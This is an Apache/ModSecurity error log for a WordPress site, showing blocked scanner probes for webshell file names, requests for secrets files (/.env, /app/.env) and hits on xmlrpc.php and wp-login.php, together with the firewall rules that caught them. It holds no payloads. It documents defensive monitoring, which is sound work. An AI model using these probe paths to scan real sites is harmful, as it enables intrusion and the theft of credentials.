[Fri Apr 03 00:46:00.341831 2026] [:error] [pid 25010:tid 25356] [client 158.158.120.135:40441] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "ac6dSI_KcjFQF5TuqTWCvAAAAAg"]
[Fri Apr 03 00:46:03.221296 2026] [:error] [pid 25470:tid 25480] [client 158.158.120.135:45181] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htto.php"] [unique_id "ac6dS3hROcck6_9HYyjlAQAAAMg"]
[Fri Apr 03 00:46:05.512939 2026] [:error] [pid 25010:tid 25353] [client 158.158.120.135:57861] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htto.php"] [unique_id "ac6dTY_KcjFQF5TuqTWCywAAAAU"]
[Fri Apr 03 00:46:09.395541 2026] [:error] [pid 25035:tid 25466] [client 158.158.120.135:62450] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htto.php"] [unique_id "ac6dURhR292toNOkLqGXiwAAAJg"]
[Fri Apr 03 00:46:10.539916 2026] [:error] [pid 25470:tid 25491] [client 158.158.120.135:41122] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htto.php"] [unique_id "ac6dUnhROcck6_9HYyjlaQAAANM"]
[Fri Apr 03 01:05:15.746531 2026] [proxy_fcgi:error] [pid 25010:tid 25371] [client 51.103.96.198:21298] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 01:05:15.985327 2026] [proxy_fcgi:error] [pid 25010:tid 25351] [client 51.103.96.198:21298] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 02:04:23.774549 2026] [:error] [pid 25035:tid 25464] [client 72.146.8.65:7473] [client 72.146.8.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac6vpxhR292toNOkLqHJTgAAAJY"]
[Fri Apr 03 02:04:24.541971 2026] [:error] [pid 25035:tid 25461] [client 72.146.8.65:13395] [client 72.146.8.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac6vqBhR292toNOkLqHJVAAAAJM"]
[Fri Apr 03 02:04:25.715306 2026] [:error] [pid 25470:tid 25494] [client 72.146.8.65:9814] [client 72.146.8.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac6vqXhROcck6_9HYyg7EgAAANY"]
[Fri Apr 03 02:04:26.765557 2026] [:error] [pid 25018:tid 25431] [client 72.146.8.65:27834] [client 72.146.8.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac6vqnupR6lXnAUzFGoI8AAAAFI"]
[Fri Apr 03 02:53:36.555037 2026] [:error] [pid 25470:tid 25493] [client 151.32.59.78:51188] [client 151.32.59.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 151.32.59.78, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac67MHhROcck6_9HYyhyLAAAANU"]
[Fri Apr 03 02:53:36.566258 2026] [proxy_fcgi:error] [pid 25470:tid 25493] [client 151.32.59.78:51188] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 09:27:22.712583 2026] [:error] [pid 40533:tid 40541] [client 167.86.78.166:34988] [client 167.86.78.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ac8XevbIAA8AViDmwss3MgAAAUY"]
[Fri Apr 03 11:14:39.932685 2026] [:error] [pid 33445:tid 33474] [client 136.158.67.236:57059] [client 136.158.67.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.67.236, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac8wn1lRNZ0iDVmJWM3BCQAAABg"]
[Fri Apr 03 11:14:39.943486 2026] [proxy_fcgi:error] [pid 33445:tid 33474] [client 136.158.67.236:57059] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 12:59:22.872780 2026] [:error] [pid 35469:tid 35488] [client 38.247.64.209:60765] [client 38.247.64.209] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "ac9JKqGvTIc8-wY3jUSGQwAAARE"]
[Fri Apr 03 13:18:05.873552 2026] [:error] [pid 35469:tid 35485] [client 175.101.99.40:54035] [client 175.101.99.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.101.99.40, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac9NjaGvTIc8-wY3jUSOhAAAAQ4"]
[Fri Apr 03 13:18:05.884433 2026] [proxy_fcgi:error] [pid 35469:tid 35485] [client 175.101.99.40:54035] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 13:56:50.576114 2026] [:error] [pid 35469:tid 35485] [client 117.231.171.12:63315] [client 117.231.171.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.231.171.12, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac9WoqGvTIc8-wY3jUSe6AAAAQ4"]
[Fri Apr 03 13:56:50.586875 2026] [proxy_fcgi:error] [pid 35469:tid 35485] [client 117.231.171.12:63315] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 14:50:45.288972 2026] [:error] [pid 33445:tid 33465] [client 122.161.53.54:9352] [client 122.161.53.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.161.53.54, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac9jRVlRNZ0iDVmJWM09uAAAAA8"]
[Fri Apr 03 14:50:45.299668 2026] [proxy_fcgi:error] [pid 33445:tid 33465] [client 122.161.53.54:9352] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 15:54:08.395923 2026] [:error] [pid 33447:tid 33522] [client 113.199.241.28:55718] [client 113.199.241.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.199.241.28, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac9yIEgaPmDHz92j4lMAHQAAAJI"]
[Fri Apr 03 15:54:08.407444 2026] [proxy_fcgi:error] [pid 33447:tid 33522] [client 113.199.241.28:55718] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 16:27:55.989086 2026] [:error] [pid 35469:tid 35492] [client 106.219.173.149:29200] [client 106.219.173.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.173.149, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac96C6GvTIc8-wY3jUTgFwAAARU"]
[Fri Apr 03 16:27:55.999593 2026] [proxy_fcgi:error] [pid 35469:tid 35492] [client 106.219.173.149:29200] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 17:02:13.118711 2026] [:error] [pid 55174:tid 55189] [client 103.110.164.1:64637] [client 103.110.164.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.164.1, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac-CFZ_WKqUonPNUHYytlAAAAc0"]
[Fri Apr 03 17:02:13.129735 2026] [proxy_fcgi:error] [pid 55174:tid 55189] [client 103.110.164.1:64637] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 17:22:55.817803 2026] [:error] [pid 35469:tid 35490] [client 113.199.246.4:62006] [client 113.199.246.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.199.246.4, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac-G76GvTIc8-wY3jUT29QAAARM"]
[Fri Apr 03 17:22:55.832463 2026] [proxy_fcgi:error] [pid 35469:tid 35490] [client 113.199.246.4:62006] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 17:35:21.533667 2026] [:error] [pid 55174:tid 55200] [client 77.90.185.238:35488] [client 77.90.185.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "ac-J2Z_WKqUonPNUHYy1LAAAAdg"]
[Fri Apr 03 17:35:21.534703 2026] [:error] [pid 35469:tid 35490] [client 77.90.185.238:35478] [client 77.90.185.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "ac-J2aGvTIc8-wY3jUT8YAAAARM"]
[Fri Apr 03 17:35:22.740552 2026] [:error] [pid 33445:tid 33454] [client 77.90.185.238:56306] [client 77.90.185.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "ac-J2llRNZ0iDVmJWM2VqwAAAAQ"]
[Fri Apr 03 17:35:22.756472 2026] [:error] [pid 35469:tid 35483] [client 77.90.185.238:56316] [client 77.90.185.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "ac-J2qGvTIc8-wY3jUT8ZQAAAQw"]
[Fri Apr 03 17:40:43.391078 2026] [:error] [pid 40562:tid 40574] [client 43.246.220.167:45239] [client 43.246.220.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.246.220.167, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac-LGzfFMXuP9zvqCeo6ZAAAAYk"]
[Fri Apr 03 17:40:43.402100 2026] [proxy_fcgi:error] [pid 40562:tid 40574] [client 43.246.220.167:45239] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 18:16:03.068004 2026] [:error] [pid 33446:tid 33500] [client 122.171.17.206:3788] [client 122.171.17.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.171.17.206, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac-TY9g3dCqFYIIdw0r0RgAAAFc"]
[Fri Apr 03 18:16:03.078847 2026] [proxy_fcgi:error] [pid 33446:tid 33500] [client 122.171.17.206:3788] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 19:53:54.571937 2026] [:error] [pid 33445:tid 33458] [client 154.208.48.130:12647] [client 154.208.48.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.208.48.130, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac-qUllRNZ0iDVmJWM3hsQAAAAg"]
[Fri Apr 03 19:53:54.583028 2026] [proxy_fcgi:error] [pid 33445:tid 33458] [client 154.208.48.130:12647] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 21:52:30.268460 2026] [:error] [pid 40533:tid 40545] [client 95.65.135.26:8982] [client 95.65.135.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.65.135.26, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac_GHvbIAA8AViDmwsu1RgAAAUo"]
[Fri Apr 03 21:52:30.282119 2026] [proxy_fcgi:error] [pid 40533:tid 40545] [client 95.65.135.26:8982] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 22:27:21.969713 2026] [:error] [pid 33445:tid 33453] [client 103.186.52.17:62203] [client 103.186.52.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.52.17, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac_OSVlRNZ0iDVmJWM0wLQAAAAM"]
[Fri Apr 03 22:27:21.980952 2026] [proxy_fcgi:error] [pid 33445:tid 33453] [client 103.186.52.17:62203] AH01071: Got error 'Primary script unknown'
[Fri Apr 03 23:51:10.592082 2026] [:error] [pid 55174:tid 55193] [client 178.128.30.48:50630] [client 178.128.30.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.30.48, incrementing brute counter"] [hostname "www.agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ac_h7p_WKqUonPNUHYwWpAAAAdE"], referer: https://www.facebook.com/
[Fri Apr 03 23:51:10.602861 2026] [proxy_fcgi:error] [pid 55174:tid 55193] [client 178.128.30.48:50630] AH01071: Got error 'Primary script unknown', referer: https://www.facebook.com/
[Fri Apr 03 23:51:10.810155 2026] [:error] [pid 33445:tid 33466] [client 178.128.30.48:40642] [client 178.128.30.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.30.48, incrementing brute counter"] [hostname "www.agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ac_h7llRNZ0iDVmJWM1tHQAAABA"], referer: https://wordpress.org/
[Fri Apr 03 23:51:10.814433 2026] [proxy_fcgi:error] [pid 33445:tid 33466] [client 178.128.30.48:40642] AH01071: Got error 'Primary script unknown', referer: https://wordpress.org/
[Sat Apr 04 01:25:36.911572 2026] [:error] [pid 12089:tid 12139] [client 86.124.134.117:55968] [client 86.124.134.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.124.134.117, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ac_4EESCG1Z_hi7I_jJoygAAAIw"]
[Sat Apr 04 01:25:36.934431 2026] [proxy_fcgi:error] [pid 12089:tid 12139] [client 86.124.134.117:55968] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 02:25:50.978884 2026] [:error] [pid 12233:tid 12255] [client 77.31.195.48:26962] [client 77.31.195.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.31.195.48, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adAGLhQDAzkmdfiSgI3geQAAARQ"]
[Sat Apr 04 02:25:50.988921 2026] [proxy_fcgi:error] [pid 12233:tid 12255] [client 77.31.195.48:26962] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 02:59:29.418034 2026] [proxy_fcgi:error] [pid 12233:tid 12237] [client 20.250.11.224:50062] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 02:59:29.655699 2026] [proxy_fcgi:error] [pid 12233:tid 12243] [client 20.250.11.224:50062] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 02:59:29.893732 2026] [proxy_fcgi:error] [pid 12233:tid 12253] [client 20.250.11.224:50062] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 02:59:30.132391 2026] [proxy_fcgi:error] [pid 12233:tid 12245] [client 20.250.11.224:50062] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 02:59:30.369719 2026] [proxy_fcgi:error] [pid 12233:tid 12240] [client 20.250.11.224:50062] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 02:59:30.606917 2026] [proxy_fcgi:error] [pid 12233:tid 12252] [client 20.250.11.224:50062] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 02:59:30.844121 2026] [proxy_fcgi:error] [pid 12233:tid 12255] [client 20.250.11.224:50062] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 02:59:31.081493 2026] [proxy_fcgi:error] [pid 12233:tid 12246] [client 20.250.11.224:50062] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 02:59:31.319966 2026] [proxy_fcgi:error] [pid 12233:tid 12248] [client 20.250.11.224:50062] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 02:59:31.557695 2026] [proxy_fcgi:error] [pid 12233:tid 12247] [client 20.250.11.224:50062] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 02:59:31.792085 2026] [:error] [pid 12233:tid 12251] [client 20.250.11.224:50062] [client 20.250.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55l453.php"] [unique_id "adAOExQDAzkmdfiSgI30QQAAARA"]
[Sat Apr 04 02:59:32.271028 2026] [:error] [pid 12089:tid 12130] [client 20.250.11.224:41030] [client 20.250.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55l453.php"] [unique_id "adAOFESCG1Z_hi7I_jKMvAAAAIM"]
[Sat Apr 04 02:59:32.746732 2026] [:error] [pid 44382:tid 44388] [client 20.250.11.224:51098] [client 20.250.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55l453.php"] [unique_id "adAOFJpzSLFOX5FpZ8rbsgAAAAQ"]
[Sat Apr 04 02:59:33.215010 2026] [:error] [pid 12081:tid 12100] [client 20.250.11.224:53868] [client 20.250.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/55l453.php"] [unique_id "adAOFaMJBCYerZTQdmI0gQAAAEA"]
[Sat Apr 04 02:59:33.684423 2026] [:error] [pid 44382:tid 44394] [client 20.250.11.224:41058] [client 20.250.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "adAOFZpzSLFOX5FpZ8rbtQAAAAo"]
[Sat Apr 04 02:59:34.165734 2026] [:error] [pid 12233:tid 12245] [client 20.250.11.224:41066] [client 20.250.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "adAOFhQDAzkmdfiSgI30SAAAAQo"]
[Sat Apr 04 02:59:34.635087 2026] [:error] [pid 12097:tid 12155] [client 20.250.11.224:50095] [client 20.250.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "adAOFhnkcvJ01y2CY3nbtgAAAME"]
[Sat Apr 04 02:59:35.103519 2026] [:error] [pid 12097:tid 12162] [client 20.250.11.224:51103] [client 20.250.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "adAOFxnkcvJ01y2CY3nbtwAAAMc"]
[Sat Apr 04 02:59:35.571569 2026] [:error] [pid 44382:tid 44388] [client 20.250.11.224:53850] [client 20.250.11.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "adAOF5pzSLFOX5FpZ8rbxwAAAAQ"]
[Sat Apr 04 04:41:35.104738 2026] [:error] [pid 2458:tid 2504] [client 62.228.181.166:52282] [client 62.228.181.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.228.181.166, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adAl_yNozic5SuWqclnKRwAAAEA"]
[Sat Apr 04 04:41:35.117737 2026] [proxy_fcgi:error] [pid 2458:tid 2504] [client 62.228.181.166:52282] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 07:29:00.111599 2026] [:error] [pid 37114:tid 37120] [client 49.149.64.249:51204] [client 49.149.64.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.149.64.249, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adBNPM-DnSj3fGMexeKvagAAAQQ"]
[Sat Apr 04 07:29:00.128012 2026] [proxy_fcgi:error] [pid 37114:tid 37120] [client 49.149.64.249:51204] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 10:00:35.338763 2026] [:error] [pid 2567:tid 2594] [client 175.195.192.197:47093] [client 175.195.192.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.195.192.197, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adBww2JJmfRsTrAKjdQS1QAAANQ"]
[Sat Apr 04 10:00:35.348837 2026] [proxy_fcgi:error] [pid 2567:tid 2594] [client 175.195.192.197:47093] AH01071: Got error 'Primary script unknown'
[Sat Apr 04 12:12:12.665505 2026] [:error] [pid 2457:tid 2494] [client 89.106.114.204:53380] [client 89.106.114.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.106.114.204, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adCPnEmNHppaMd92Zpe0bAAAABE"]
[Sat Apr 04 12:12:12.679021 2026] [proxy_fcgi:error] [pid 2457:tid 2494] [client 89.106.114.204:53380] AH01071: Got error 'Primary script unknown'
